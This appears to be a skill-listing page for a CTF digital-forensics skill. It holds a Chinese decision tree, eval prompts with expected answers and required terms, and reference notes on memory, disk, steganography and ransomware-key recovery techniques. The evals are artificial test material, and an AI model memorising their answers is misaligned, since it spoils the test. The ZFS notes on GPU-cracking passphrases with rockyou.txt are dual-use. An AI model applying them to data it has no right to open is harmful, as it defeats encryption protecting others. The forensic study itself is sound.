
Ctf Forensics
- 30 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ctf-forensics is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ctf-forensics
- AI & Agent Building
- AI-coding skill
Ctf Forensics by the numbers
- 30 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,316 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ctf-forensicsAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 30 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
CTF 数字取证
深入参考
以下参考资料按需加载,根据识别出的具体方向选择对应文件:
- 磁盘/内存取证(Volatility/VM/VMDK/分区恢复/勒索软件) → references/disk-and-memory.md
- 磁盘恢复(LUKS/BTRFS/XFS/RAID5/反雕刻) → references/disk-recovery.md
- Windows 取证(注册表/SAM/事件日志/WMI/Amcache) → references/windows.md
- Linux/应用取证(Docker/Git/浏览器/KeePass) → references/linux-forensics.md
- 网络取证基础(tcpdump/TLS解密/SMB3/USB音频) → references/network.md
- 高级网络取证(时序编码/NTLMv2/TCP隐蔽通道/DNS隐写) → references/network-advanced.md
- 通用隐写术(PDF/SVG/PNG/文件叠加/终端图形) → references/steganography.md
- 图像隐写术(JPEG DQT/BMP位平面/F5检测/调色板) → references/stego-image.md
- 高级隐写术(FFT/DTMF/音频/视频帧/JPEG XL) → references/stego-advanced.md
- 高级隐写术2(视频帧累积/反转音频/多层PNG/EXIF链) → references/stego-advanced-2.md
- 高级磁盘取证(删除分区恢复/ZFS/LVM Thin/APFS快照) → references/disk-advanced.md
- 外设捕获分析(USB HID鼠标绘图/键盘捕获解码/蓝牙) → references/peripheral-capture.md
- 硬件信号(VGA/HDMI/DisplayPort/功率侧信道/键盘声学) → references/signals-and-hardware.md
- 3D 打印取证(PrusaSlicer/G-code/QOIF) → references/3d-printing.md
---
分类决策树
拿到取证题?
├─ 文件分析
│ ├─ file/exiftool/binwalk → 识别格式与嵌入文件
│ ├─ 图片 → steghide/zsteg/stegsolve → [references/stego-image.md](references/stego-image.md)
│ ├─ 音频 → 频谱图/DTMF/SSTV → [references/stego-advanced.md](references/stego-advanced.md)
│ └─ PDF → 元数据/隐藏文本/多层 → [references/steganography.md](references/steganography.md)
├─ 磁盘/内存镜像
│ ├─ .dd/.img → mount -o loop,ro → fls/photorec
│ ├─ .ova/.vmdk → tar xf → 7z 提取
│ ├─ 内存 → Volatility3 (pslist/filescan/dumpfiles)
│ └─ RAID/ZFS/BTRFS → [references/disk-recovery.md](references/disk-recovery.md)
├─ 网络流量 (.pcap)
│ ├─ HTTP → tshark --export-objects
│ ├─ TLS → SSLKEYLOGFILE / 弱RSA密钥
│ ├─ SMB → 密钥解密 / NTLMv2 提取
│ └─ DNS → 隐蔽通道 / 尾字节编码
├─ Windows 事件日志 → [references/windows.md](references/windows.md)
├─ 硬件信号 → [references/signals-and-hardware.md](references/signals-and-hardware.md)
└─ 区块链 → mempool.space API / 剥离链追踪快速启动命令
# 文件分析
file suspicious && exiftool suspicious && binwalk suspicious
strings -n 8 suspicious | grep -iE "flag|ctf"
# 磁盘取证
sudo mount -o loop,ro image.dd /mnt/evidence
fls -r image.dd && photorec image.dd
# 内存取证 (Volatility 3)
vol3 -f memory.dmp windows.pslist
vol3 -f memory.dmp windows.filescan
vol3 -f memory.dmp windows.dumpfiles --physaddr ADDR
# 网络流量
tshark -r capture.pcap -Y "http" --export-objects http,/tmp/out隐写速查
| 格式 | 工具 | 说明 |
|---|---|---|
| JPEG | steghide / F5 检测 | DQT表/DCT系数比 |
| PNG/BMP | zsteg / stegsolve | 位平面/调色板/LSB |
| 音频 | multimon-ng / sox | DTMF/频谱/反转 |
| 视频 | 帧累积/逐帧差分 | 闪烁隐藏QR |
| exiftool + binwalk | 元数据/注释/EOF后数据 |
Windows 关键事件 ID
| ID | 含义 |
|---|---|
| 1102 | 审计日志清除 |
| 4720 | 用户创建 |
| 4781 | 账户重命名 |
| 21 (TSLocal) | RDP 登录成功 |
Windows 事件日志
- EVTX 分析关注时间戳(TimeCreated / SystemTime)排序关键事件
{
"skill_name": "ctf-forensics",
"evals": [
{
"id": 1,
"name": "volatility-memory-dump",
"prompt": "CTF 取证题给了一个 Windows 内存转储文件 memory.dmp(2GB)。题目提示 flag 在某个记事本进程打开的文件中。请描述分析步骤。",
"expected_output": "使用 Volatility3 分析内存转储:pslist 找 notepad 进程 → filescan 扫描文件 → dumpfiles 提取文件内容",
"expectations": [
"Volatility|vol3|volatility3|内存取证",
"pslist|pstree|进程列表|notepad",
"filescan|文件扫描|搜索文件对象",
"dumpfiles|提取文件|导出|physaddr",
"cmdline|memdump|strings|辅助分析"
],
"required_terms": [
"Volatility",
"vol3",
"volatility3"
]
},
{
"id": 2,
"name": "pcap-http-extract",
"prompt": "CTF 取证题给了一个 capture.pcap 文件。题目提示有人通过 HTTP 上传了一个包含 flag 的文件。请描述如何提取该文件。",
"expected_output": "使用 tshark/Wireshark 提取 HTTP 对象:过滤 HTTP POST 请求,导出传输的文件",
"expectations": [
"tshark|Wireshark|tcpdump|流量分析",
"export-objects|导出对象|http,/tmp|提取文件",
"POST|multipart|上传|http.request.method",
"tcp.stream|Follow TCP Stream|跟踪流",
"strings|grep flag|binwalk|后续分析"
],
"required_terms": [
"http,/tmp",
"http.request.method",
"tcp.stream"
]
},
{
"id": 3,
"name": "png-steganography",
"prompt": "CTF 取证题给了一张看起来正常的 PNG 图片,但文件大小异常地大(原图应该只有几十 KB 但实际有 2MB)。请描述分析隐写的方法。",
"expected_output": "多角度分析:binwalk 检查嵌入文件、zsteg 检查 LSB 隐写、stegsolve 逐位平面分析、检查 PNG 结构异常",
"expectations": [
"binwalk|嵌入文件|附加数据|文件叠加",
"zsteg|LSB|最低有效位|位平面",
"stegsolve|位平面|逐通道|RGB分析",
"exiftool|元数据|metadata|PNG结构",
"strings|EOF后数据|IEND之后|额外数据"
],
"required_terms": [
"LSB",
"EOF后数据",
"binwalk"
]
},
{
"id": 4,
"name": "disk-image-recovery",
"prompt": "CTF 取证题给了一个 disk.dd 磁盘镜像,题目说某个用户删除了一个重要的 flag.txt 文件。请描述如何恢复已删除的文件。",
"expected_output": "挂载镜像后使用文件恢复工具:fls/icat 查看已删除文件条目,photorec/scalpel 恢复删除文件",
"expectations": [
"mount|loop|挂载|只读挂载|ro",
"fls|icat|Sleuth Kit|TSK|文件系统分析",
"photorec|scalpel|文件恢复|数据雕刻",
"已删除|deleted|inode|恢复",
"strings|grep|直接搜索|flag关键词"
],
"required_terms": [
"mount",
"loop",
"fls"
]
},
{
"id": 5,
"name": "windows-evtx-analysis",
"prompt": "CTF 取证题给了 Windows 安全事件日志 Security.evtx。题目提示攻击者创建了一个后门账户并清除了日志。请找出攻击者创建的用户名和清除日志的时间。",
"expected_output": "分析 Windows 事件 ID:4720(用户创建)找到后门账户,1102(审计日志清除)找到清除时间",
"expectations": [
"4720|用户创建|账户创建|new user",
"1102|日志清除|审计日志清除|clear log",
"evtx|evtx_dump|python-evtx|解析工具",
"事件ID|Event ID|安全日志|Security",
"时间戳|TimeCreated|时间|SystemTime"
],
"required_terms": [
"TimeCreated",
"SystemTime",
"evtx"
]
}
]
}
{
"skill_id": "ctf-forensics",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"forensics",
"取证",
"volatility",
"pcap"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"steganography",
"隐写",
"磁盘",
"内存"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被pwn召回",
"keywords": [
"rop",
"heap exploit"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "ctf-forensics-scenario",
"scenario": "CTF 取证题给了一个 pcap 文件和一个磁盘镜像。请搜索取证分析方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "forensic|取证|pcap|磁盘"
},
{
"tool": "read_skill",
"id": "ctf-forensics"
}
]
}
]
}
CTF Forensics - 3D Printing / CAD File Forensics
Table of Contents
- PrusaSlicer Binary G-code (.g / .bgcode)
- QOIF (Quite OK Image Format)
- G-code Analysis Tips
- G-code Side View Visualization (0xFun 2026)
- Uncommon File Magic Bytes
---
PrusaSlicer Binary G-code (.g / .bgcode)
File magic: GCDE (4 bytes)
The .g extension is PrusaSlicer's binary G-code format (bgcode). It stores G-code in a block-based structure with compression.
File structure:
Header: "GCDE"(4) + version(4) + checksum_type(2)
Blocks: [type(2) + compression(2) + uncompressed_size(4)
+ compressed_size(4) if compressed
+ type-specific fields
+ data + CRC32(4)]Block types:
- 0 = FileMetadata (has encoding field, 2 bytes)
- 1 = GCode (has encoding field, 2 bytes)
- 2 = SlicerMetadata (has encoding field, 2 bytes)
- 3 = PrinterMetadata (has encoding field, 2 bytes)
- 4 = PrintMetadata (has encoding field, 2 bytes)
- 5 = Thumbnail (has format(2) + width(2) + height(2))
Compression types: 0=None, 1=Deflate, 2=Heatshrink(11,4), 3=Heatshrink(12,4)
Thumbnail formats: 0=PNG, 1=JPEG, 2=QOI (Quite OK Image)
Parsing and extracting G-code:
import struct, zlib
import heatshrink2 # pip install heatshrink2
with open('file.g', 'rb') as f:
data = f.read()
pos = 10 # After header
while pos < len(data) - 8:
block_type = struct.unpack('<H', data[pos:pos+2])[0]
compression = struct.unpack('<H', data[pos+2:pos+4])[0]
uncompressed_size = struct.unpack('<I', data[pos+4:pos+8])[0]
pos += 8
if compression != 0:
compressed_size = struct.unpack('<I', data[pos:pos+4])[0]
pos += 4
else:
compressed_size = uncompressed_size
# Type-specific extra header fields
if block_type in [0,1,2,3,4]:
pos += 2 # encoding field
elif block_type == 5:
pos += 6 # format + width + height
block_data = data[pos:pos+compressed_size]
pos += compressed_size + 4 # data + CRC32
if block_type == 1: # GCode block
if compression == 3: # Heatshrink 12/4
gcode = heatshrink2.decompress(block_data, window_sz2=12, lookahead_sz2=4)
elif compression == 1: # Deflate (zlib)
gcode = zlib.decompress(block_data)
# Search gcode for hidden comments/flagsCommon hiding spots:
- G-code comments (
;=== FLAG_CHAR ... ===) at specific layer heights - Custom G-code sections (
;TYPE:Custom) - Metadata fields (object names, filament info)
- Thumbnail images (extract and view QOIF/PNG)
QOIF (Quite OK Image Format)
Magic: qoif (4 bytes) + width(4 BE) + height(4 BE) + channels(1) + colorspace(1)
Lightweight image format used in PrusaSlicer thumbnails. Decode with Python struct or use the qoi library.
G-code Analysis Tips
# Search for flag patterns in decompressed gcode
grep -i "flag\|meta\|ctf\|secret" output.gcode
# Look for custom comments at layer changes
grep ";.*FLAG\|;.*LAYER_CHANGE" output.gcode
# Extract XY coordinates for visual patterns
grep "^G1" output.gcode | awk '{print $2, $3}' > coords.txtG-code Side View Visualization (0xFun 2026)
Pattern (PrintedParts): Plot X vs Z (side view) with Y filtering. Extrusion segments at specific Y ranges form readable text.
# Extract XY coordinates from G-code
grep "^G1" output.gcode | awk '{print $2, $3}' > coords.txt
# Plot with matplotlib for visual patternsLesson: G-code is just coordinate lists. Side projections (XZ or YZ) reveal embossed/engraved text.
---
Uncommon File Magic Bytes
| Magic | Format | Extension | Notes |
|---|---|---|---|
GCDE | PrusaSlicer binary G-code | .g, .bgcode | 3D printing, heatshrink compressed |
qoif | Quite OK Image Format | .qoi | Lightweight image format, often embedded |
OggS | Ogg container | .ogg | Audio/video |
RIFF | RIFF container | .wav,.avi | Check subformat |
%PDF | .pdf | Check metadata & embedded objects |
CTF Forensics - Advanced Disk and Memory Techniques
Table of Contents
- Deleted Partition Recovery
- ZFS Forensics (Nullcon 2026)
- GPT Partition GUID Data Encoding (VuwCTF 2025)
- Windows Minidump String Carving (0xFun 2026)
- VMDK Sparse Parsing (0xFun 2026)
- Memory Dump String Carving (Pragyan 2026)
- Memory Dump Malware Extraction + XOR (VuwCTF 2025)
- Linux Ransomware Memory-Key Recovery (MetaCTF 2026)
- WordPerfect Macro XOR Extraction (srdnlenCTF 2026)
- Minidump ISO 9660 Recovery + XOR Key (srdnlenCTF 2026)
- APFS Snapshot Historical File Recovery (srdnlenCTF 2026)
- RAID 5 Disk Recovery via XOR (Crypto-Cat)
- HFS+ Resource Fork Hidden Binary Recovery (CONFidence CTF 2017)
- Kyoto Cabinet Hash Database Forensics via Incremental Key Insertion (ASIS CTF 2018)
- SQLite Edit History Reconstruction from Diff Table (Google CTF 2017)
- See Also
---
Deleted Partition Recovery
Pattern (Till Delete Do Us Part): USB image with deleted partition table.
Recovery workflow:
# Check for partitions
fdisk -l image.img # Shows no partitions
# Recover partition table
testdisk image.img # Interactive recovery
# Or use kpartx to map partitions
kpartx -av image.img # Maps as /dev/mapper/loop0p1
# Mount recovered partition
mount /dev/mapper/loop0p1 /mnt/evidence
# Check for hidden directories
ls -la /mnt/evidence # Look for .dotfolders
find /mnt/evidence -name ".*" # Find hidden filesFlag hiding: Path components as flag chars (e.g., /.Meta/CTF/{f/l/a/g})
---
ZFS Forensics (Nullcon 2026)
Pattern: Corrupted ZFS pool image with encrypted dataset.
Recovery workflow: 1. Label reconstruction: All 4 ZFS labels may be zeroed. Find packed nvlist data elsewhere in the image using strings + offset searching. 2. MOS object repair: Copy known-good nvlist bytes to block locations, recompute Fletcher4 checksums:
def fletcher4(data):
a = b = c = d = 0
for i in range(0, len(data), 4):
a = (a + int.from_bytes(data[i:i+4], 'little')) & 0xffffffff
b = (b + a) & 0xffffffff
c = (c + b) & 0xffffffff
d = (d + c) & 0xffffffff
return (d << 96) | (c << 64) | (b << 32) | a3. Encryption cracking: Extract PBKDF2 parameters (iterations, salt) from ZAP objects. GPU-accelerate with PyOpenCL for PBKDF2-HMAC-SHA1, verify AES-256-GCM unwrap on CPU. 4. Passphrase list: rockyou.txt or similar. GPU rate: ~24k passwords/sec.
---
GPT Partition GUID Data Encoding (VuwCTF 2025)
Pattern (Undercut): "LLMs only" + "undercut" → not AI GPT, but GUID Partition Table.
Key insight: GPT partition GUIDs are 16 arbitrary bytes — can encode anything. Look for file magic headers in GUIDs.
# Parse GPT partition table
gdisk -l image.img
# Or with Python:
python3 -c "
import struct
data = open('image.img','rb').read()
# GPT header at LBA 1 (offset 512)
# Partition entries start at LBA 2 (offset 1024)
# Each entry is 128 bytes, GUID at offset 16 (16 bytes)
for i in range(128):
entry = data[1024 + i*128 : 1024 + (i+1)*128]
guid = entry[16:32]
if guid != b'\x00'*16:
print(f'Partition {i}: {guid.hex()}')
"First GUID starts with `BZh11AY&SY` (bzip2 magic) → concatenate GUIDs, decompress as bzip2, then decode ASCII85.
---
Windows Minidump String Carving (0xFun 2026)
Pattern (kd): Go binary crash dump. Flag as plaintext string constant in .data section survives in minidump memory.
strings -a minidump.dmp | grep -i "flag\|ctf\|0xFUN"Lesson: Minidumps contain full memory regions. String constants, keys, and secrets persist. strings -a + grep is the fast path.
---
VMDK Sparse Parsing (0xFun 2026)
Pattern (VMware): Split sparse VMDK requires grain directory + grain table traversal.
Key steps: 1. Parse VMDK sparse header (grain size, GD offset, GT coverage) 2. Follow grain directory → grain table → data grains 3. Calculate absolute disk offsets across split files 4. Mount extracted filesystem (ext4, NTFS)
Lesson: Don't assume VM images can be mounted directly. Parse the VMDK sparse format manually.
---
Memory Dump String Carving (Pragyan 2026)
Pattern (c47chm31fy0uc4n): Linux memory dump with flag in environment variables or process data.
strings -a -n 6 memdump.bin | grep -E "SYNC|FLAG|SSH_CLIENT|SESSION_KEY"
# SSH artifacts reveal source IP and ephemeral port
# Environment variables may contain keys/tokens---
Memory Dump Malware Extraction + XOR (VuwCTF 2025)
Pattern (Jellycat): Extract fake executable from Windows memory dump. Cipher: subtract 0x32, then XOR with cycling key (large multi-line string, e.g., ASCII art).
Key lesson: Always extract and reverse the actual binary from memory rather than trusting strings output (string tables may be red herrings). XOR keys can be hundreds of bytes (ASCII art, lorem ipsum).
# Extract binary, find XOR key in data section
key = b"..." # Large ASCII art string
cipher = open('extracted.bin', 'rb').read()
plaintext = bytes((b - 0x32) ^ key[i % len(key)] for i, b in enumerate(cipher))---
Linux Ransomware Memory-Key Recovery (MetaCTF 2026)
Pattern: Linux memory dump + encrypted .veg files + enc_key.bin; ransomware uses hybrid crypto (AES for files, RSA-wrapped key). Volatility may fail process enumeration due symbol/KASLR (Kernel Address Space Layout Randomization) mismatch.
Fast workflow: 1. Confirm archive integrity before analysis.
unzip -l encrypted_files.zip
# Compare listed files/sizes vs extracted tree; re-extract cleanly if mismatch
unzip -o encrypted_files.zip -d encrypted_full2. Reverse ransomware binary quickly to identify mode/layout.
strings -a ransomware.elf | grep -E "enc_key|EVP_aes|PUBLIC KEY|.veg"
objdump -d ransomware.elf | less- Typical finding:
AES-256-OFB, IV prepended to each.veg, global 32-byte AES key, RSA public key hardcoded.
3. Try Volatility normally, then pivot immediately if empty/unstable.
vol -f memdump.raw linux.pslist
vol -f memdump.raw linux.proc.Maps
vol -f memdump.raw linux.vmayarascan- If Linux plugins return empty/invalid output despite correct banner/symbols, do raw-memory candidate scanning.
4. Recover AES key via anchored candidate scan + magic validation.
- Use recurring anchor strings in memory (e.g.,
/home/.../enc_key.bin, HOME path). - Derive candidate offsets near anchors (page-aligned windows).
- Test each 32-byte candidate by decrypting first blocks of multiple
.vegfiles and checking magic bytes (%PDF-,PK\x03\x04,\x89PNG\r\n\x1a\n). - Keep candidates that satisfy multiple independent signatures.
5. Decrypt full dataset and verify output completeness.
# OFB: iv = first 16 bytes, ciphertext starts at +16
# Decrypt all *.veg recursively from a clean extraction directory- Validate recovered file count against zip listing.
- Watch for duplicated mirror trees (e.g.,
snap/*/Downloads/...) and deduplicate logically.
6. Defend against false flags.
- Treat metadata-only flags as suspicious until corroborated by challenge context.
- Prefer tokens from primary project artifacts and perform uniqueness checks:
rg -n -a '[A-Za-z]+CTF\\{[^}]+\\}' recovered_full
pdftotext recovered_full/**/*.pdf - 2>/dev/null | rg '[A-Za-z]+CTF\\{'Key lessons:
- Don't trust a partial/stale extraction tree; re-extract zip cleanly.
- In OFB ransomware, magic-byte validation is a fast key oracle.
- A plausible
CTF{...}in metadata can be a decoy; confirm with corpus-wide consistency.
---
WordPerfect Macro XOR Extraction (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol I: Corel): Corel Linux disk image containing WordPerfect macro file (fc.wcm) with XOR-encrypted byte arrays.
Key insight: WordPerfect macro files (.wcm) can contain executable macros with embedded encrypted data. The XOR formula (bb + kb) - 2*(bb & kb) is mathematically equivalent to bitwise XOR.
Brute-force 4-byte XOR key under charset constraints:
import string
docbody = [206, 56, 8, 128, 209, 47, 2, 149, ...] # encrypted bytes from macro
allowed = set(map(ord, string.ascii_lowercase + string.digits + "_{}"))
# Find valid key bytes independently for each position mod 4
cands = []
for j in range(4):
good = []
for k in range(256):
if all((docbody[i] ^ k) in allowed for i in range(j, len(docbody), 4)):
good.append(k)
cands.append(good)
# Try all combinations (usually very few candidates per position)
for k0 in cands[0]:
for k1 in cands[1]:
for k2 in cands[2]:
for k3 in cands[3]:
key = [k0, k1, k2, k3]
pt = ''.join(chr(c ^ key[i % 4]) for i, c in enumerate(docbody))
if pt.startswith("srd") and pt.endswith("}"):
print(pt)Lesson: Legacy document formats (WordPerfect, Lotus 1-2-3) can embed executable macros with obfuscated data. When you know the flag charset, brute-forcing a short XOR key is trivial by filtering each key byte independently.
---
Minidump ISO 9660 Recovery + XOR Key (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol II: The Legendary Armory): Two relics in volatile memory (minidump) must be XORed; ISO 9660 directory entries in memory fragments point to hidden data.
Technique: 1. Search minidump for ISO 9660 directory entry signatures 2. Parse directory entries to locate target file offset and size 3. Decrypt file using recovered XOR key (e.g., 8-byte repeating key) 4. Parse resulting data as ZIP without central directory (local headers only)
ZIP local header parsing without central directory:
import struct, zlib
pos = 0
files = {}
while True:
off = dec.find(b"PK\x03\x04", pos)
if off < 0:
break
(ver, flag, method, _, _, crc, csize, usize, nlen, xlen) = struct.unpack_from(
"<HHHHHIIIHH", dec, off + 4)
name = dec[off + 30:off + 30 + nlen].decode()
data_off = off + 30 + nlen + xlen
comp = dec[data_off:data_off + csize]
if method == 8: # Deflate
raw = zlib.decompress(comp, -15)
else:
raw = comp
files[name] = raw
pos = data_off + csizeKey insight: When ZIP central directory is missing/corrupt, iterate local file headers (PK\x03\x04) directly. Each local header contains enough metadata (compression method, sizes, filename) to extract files independently.
---
APFS Snapshot Historical File Recovery (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol III: The Poisoned Apple): APFS volume maintains historical snapshots; recovering earlier state of a key file reveals authentic value before poisoning.
Technique: 1. Extract APFS partition from DMG (locate by sector offset) 2. Search for APFS volume superblocks (magic APSB) across all snapshots, noting transaction IDs (XIDs) 3. Use icat (Sleuth Kit with APFS support) to read specific inodes across different snapshot XIDs 4. Compare file content across XID boundaries to identify when poisoning occurred 5. Use pre-poisoning value for decryption
Finding APFS volume superblocks across snapshots:
import struct
with open("apfs_partition.img", "rb") as f:
mm = f.read()
snaps = []
pos = 0
while True:
idx = mm.find(b"APSB", pos)
if idx < 0:
break
# XID is at offset -16 from magic (in block header)
hdr_start = idx - 32
xid = struct.unpack_from("<Q", mm, hdr_start + 16)[0]
blk = hdr_start // 4096
snaps.append((xid, blk))
pos = idx + 1
# Read target inode across snapshots
import subprocess
for xid, blk in sorted(set(snaps)):
try:
out = subprocess.check_output(
["icat", "-f", "apfs", "-P", "apfs", "-B", str(blk),
"apfs_partition.img", "449414"]) # target inode number
print(f"XID {xid}: {out[:64]}...")
except:
passDecryption with recovered authentic key:
import hashlib
from Cryptodome.Cipher import AES
# Pre-poisoning key value (found in earlier snapshot)
authentic_key_hex = "39f520679fd68654500f9cd44e8caed2bc897a3227dc297c4520336de2a59dd7"
key = hashlib.pbkdf2_hmac('sha256', bytes.fromhex(authentic_key_hex), salt, iterations)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(encrypted_flag)Key insight: APFS (and other copy-on-write filesystems like ZFS/Btrfs) preserve historical file states in snapshots. When a challenge involves "poisoned" or "tampered" data, always check for older snapshots containing the original values. Use icat with different block offsets to read the same inode across different transaction IDs.
---
RAID 5 Disk Recovery via XOR (Crypto-Cat)
Pattern: RAID 5 array with one damaged/missing disk. Two working disks are provided and the third must be reconstructed using XOR parity.
How RAID 5 parity works: Data is striped across N disks with distributed parity. For any stripe, Disk1 XOR Disk2 XOR ... XOR DiskN = 0. If one disk is missing, XOR the remaining disks to recover it.
Recovery script:
# Recover missing disk2 from disk1 and disk3
with open('disk1.img', 'rb') as f:
disk1 = f.read()
with open('disk3.img', 'rb') as f:
disk3 = f.read()
# XOR byte-by-byte to recover the missing disk
disk2 = bytes(a ^ b for a, b in zip(disk1, disk3))
with open('disk2.img', 'wb') as f:
f.write(disk2)After recovery:
# Reassemble the RAID array
mdadm --create /dev/md0 --level=5 --raid-devices=3 \
disk1.img disk2.img disk3.img
# Or mount individual recovered disk if it contains a filesystem
mount -o loop,ro disk2.img /mnt/recoveredKey insight: RAID 5 uses XOR parity across all disks in each stripe. XOR is self-inverse: if A XOR B XOR C = 0, then B = A XOR C. For N-disk RAID 5, XOR all N-1 working disks together to recover the missing one.
Detection: Challenge provides multiple disk images of identical size, mentions "array", "redundancy", or "parity". file command may identify them as filesystem images or raw data.
---
HFS+ Resource Fork Hidden Binary Recovery (CONFidence CTF 2017)
HFS+ files can have a Resource Fork containing hidden data invisible to most tools. Use HFSExplorer to inspect the catalog and 010 Editor with HFS template to extract.
# 1. Mount or open the HFS+ image
# Standard tools miss Resource Forks:
binwalk image.dmg # Won't find resource fork contents
strings image.dmg # May show fragments
# 2. Use HFSExplorer to browse the catalog
# Look for files with non-zero Resource Fork size
# Suspicious: nodeID 1337 or similar CTF-typical IDs
# 3. Check .fseventsd logs for historical file operations
pip install FSEventsParser
python FSEventsParser.py -s image.dmg -o events.csv
# Reveals creation/deletion of files across the volume
# 4. Extract Resource Fork data with 010 Editor:
# - Load disk image with HFS+ template
# - Navigate to catalog -> target file -> resource fork extents
# - Note start block and length from extent records
# - If split across multiple extents, extract and concatenate:
dd if=image.dmg bs=4096 skip=$BLOCK1 count=$LEN1 of=part1.bin
dd if=image.dmg bs=4096 skip=$BLOCK2 count=$LEN2 of=part2.bin
cat part1.bin part2.bin > recovered_binaryKey insight: HFS+ Resource Forks are a second data stream attached to files, invisible to most forensic tools that only examine the Data Fork. binwalk, foremost, and strings miss them. HFSExplorer shows both forks in the catalog; 010 Editor with the HFS template reveals extent records for manual extraction. .fseventsd logs can reveal that hidden files were created/deleted.
Detection: DMG or HFS+ disk image where standard carving finds nothing. file identifies as "Apple HFS+" or "Apple Partition Map". Challenge mentions "Mac", "Apple", or "hidden data".
---
Kyoto Cabinet Hash Database Forensics via Incremental Key Insertion (ASIS CTF 2018)
Pattern: Unknown binary file identified as Kyoto Cabinet (KC) hash database. Flag characters stored as values with zeroed-out keys. Since the database uses a fixed-size hash table, recover ordering by inserting sequential keys one at a time and observing which hash slot reference gets overwritten via binary diff.
# Identify format
file unknown.db # may not recognize KC format
strings unknown.db | head # look for "KCPH" magic
# Enumerate values
kchashmgr list tokyo.kch
# Recover key ordering via incremental insertion + binary diff
for i in $(seq -w 000 088); do
cp tokyo.kch test.kch
kchashmgr set test.kch "$i" "probe"
diff <(xxd tokyo.kch) <(xxd test.kch) | head -5
# Changed offset reveals which original entry maps to key $i
doneFull recovery script (Python):
import subprocess, shutil
original = 'tokyo.kch'
# Get all values from the database
values = subprocess.check_output(['kchashmgr', 'list', original]).decode().splitlines()
mapping = {}
for i in range(len(values)):
key = f'{i:03d}'
shutil.copy(original, 'test.kch')
subprocess.run(['kchashmgr', 'set', 'test.kch', key, 'probe'], check=True)
# Binary diff to find which slot changed
orig_hex = subprocess.check_output(['xxd', original]).decode()
test_hex = subprocess.check_output(['xxd', 'test.kch']).decode()
for orig_line, test_line in zip(orig_hex.splitlines(), test_hex.splitlines()):
if orig_line != test_line:
mapping[i] = orig_line # Record which entry was overwritten
break
# Reconstruct flag from ordered values
flag = ''.join(values[i] for i in sorted(mapping.keys()))
print(flag)Key insight: Hash databases store entries at positions determined by key hash values. When keys are zeroed/corrupted, the stored ordering is hash-based, not insertion-order. Insert probe keys one at a time and binary-diff the database to find which slot each probe overwrites, revealing the original key-to-value mapping.
---
SQLite Edit History Reconstruction from Diff Table (Google CTF 2017)
SQLite databases storing note/document edit history as diff entries (operation, position, text, diffset) can be replayed to reconstruct content at any point in time.
import sqlite3
db = sqlite3.connect('notes.db')
# Table structure: diffs(id, type, position, text, diffset)
# type: 'insert' or 'remove'
diffs = db.execute("SELECT type, position, text FROM diffs ORDER BY id").fetchall()
document = ""
for op_type, position, text in diffs:
if op_type == 'insert':
document = document[:position] + text + document[position:]
elif op_type == 'remove':
document = document[:position] + document[position + len(text):]
# Check for flag at each step (may have been typed then deleted)
if 'CTF{' in document or 'flag{' in document:
print(f"Flag found: {document}")Key insight: Collaborative editing tools store incremental diffs. Replaying all operations sequentially reveals content that existed at any point in the edit history, including secrets that were later deleted. Check for flags at every intermediate state, not just the final document.
Detection: SQLite database with tables containing type/operation, position, text columns. Challenge mentions "notes", "editor", "collaboration", or "history". Schema inspection via .schema or sqlite3 db.sqlite ".tables" reveals diff-style tables.
---
See Also
- disk-and-memory.md - Core disk and memory forensics (Volatility 3, disk image analysis, VM/OVA/VMDK forensics, VMware snapshots, GIMP raw memory dump visual inspection, coredump analysis, Windows KAPE triage, PowerShell ransomware, Android forensics, Docker container forensics, cloud storage forensics, BSON reconstruction, TrueCrypt/VeraCrypt mounting)
- disk-recovery.md - Disk recovery and extraction patterns (LUKS master key recovery, PRNG timestamp seed brute-force, VBA macro binary recovery, FemtoZip decompression, XFS reconstruction, tar duplicate entry extraction, nested matryoshka filesystem extraction, anti-carving via null byte interleaving)
CTF Forensics - Disk and Memory Analysis
Table of Contents
- Memory Forensics (Volatility 3)
- Disk Image Analysis
- VM Forensics (OVA/VMDK)
- VMware Snapshot Forensics
- Coredump Analysis
- Deleted Partition Recovery
- ZFS Forensics (Nullcon 2026)
- GPT Partition GUID Data Encoding (VuwCTF 2025)
- Windows Minidump String Carving (0xFun 2026)
- VMDK Sparse Parsing (0xFun 2026)
- Memory Dump String Carving (Pragyan 2026)
- Memory Dump Malware Extraction + XOR (VuwCTF 2025)
- Linux Ransomware Memory-Key Recovery (MetaCTF 2026)
- WordPerfect Macro XOR Extraction (srdnlenCTF 2026)
- Minidump ISO 9660 Recovery + XOR Key (srdnlenCTF 2026)
- APFS Snapshot Historical File Recovery (srdnlenCTF 2026)
- RAID 5 Disk Recovery via XOR (Crypto-Cat)
- Windows KAPE Triage Analysis (UTCTF 2026)
- PowerShell Ransomware Analysis
- Android Forensics
- Container Forensics (Docker)
- Cloud Storage Forensics (AWS S3 / GCP / Azure)
---
Memory Forensics (Volatility 3)
vol3 -f memory.dmp windows.info
vol3 -f memory.dmp windows.pslist
vol3 -f memory.dmp windows.cmdline
vol3 -f memory.dmp windows.netscan
vol3 -f memory.dmp windows.filescan
vol3 -f memory.dmp windows.dumpfiles --physaddr <addr>
vol3 -f memory.dmp windows.mftscan | grep flagCommon plugins:
